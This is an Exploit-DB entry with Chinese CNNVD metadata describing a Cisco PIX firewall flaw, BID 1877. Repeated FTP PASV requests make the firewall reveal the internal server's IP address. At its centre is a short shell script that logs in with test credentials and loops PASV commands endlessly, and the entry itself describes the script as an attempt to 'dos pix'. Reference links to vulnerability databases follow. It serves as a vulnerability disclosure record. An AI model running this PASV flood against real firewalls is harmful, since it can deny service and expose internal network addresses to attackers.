https://www.exploit-db.com/exploits/20369
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200012-075

CiscoSecurePIXFirewall5.2(2)版本存在漏洞。远程攻击者可以利用PASV请求淹没服务器来确定目标FTP服务器的真实IP地址，该请求在制定确定模式下在响应中包含真实IP地址。

source: http://www.securityfocus.com/bid/1877/info

The Cisco PIX is a popular firewall network device. 

It is possible to configure the PIX so that it hides the IP address of internal ftp servers from clients connecting to it. By sending a number of requests to enter passive ftp mode (PASV) during an ftp session, the IP address will eventually be disclosed. It is not known what exactly causes this condition.

This has been verified on versions 5.2(4) and 5.2(2) of the PIX firmware and probably affects other versions.


# sent by: Fabio Pietrosanti (naif) <[email protected]>
# try to dos pix using PASV bomb

echo "USER ftptest99"
sleep 2
echo PASS ftptest99
sleep 2
echo SYST
while true
       do

            echo PASV
            sleep 1
            echo PASV
            echo PASV
            sleep 1
            echo PASV
            echo PASV
            sleep 1
            echo PASV
           echo PASV
            sleep 1
done

来源:BID
名称:1877
链接:http://www.securityfocus.com/bid/1877
来源:BUGTRAQ
名称:20001003CiscoPIXFirewallallowexternaluserstodiscoverinternalIPs
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=97059440000367&w;=2
来源:XF
名称:cisco-pix-reveal-address
链接:http://xforce.iss.net/static/5646.php
来源:OSVDB
名称:1623
链接:http://www.osvdb.org/1623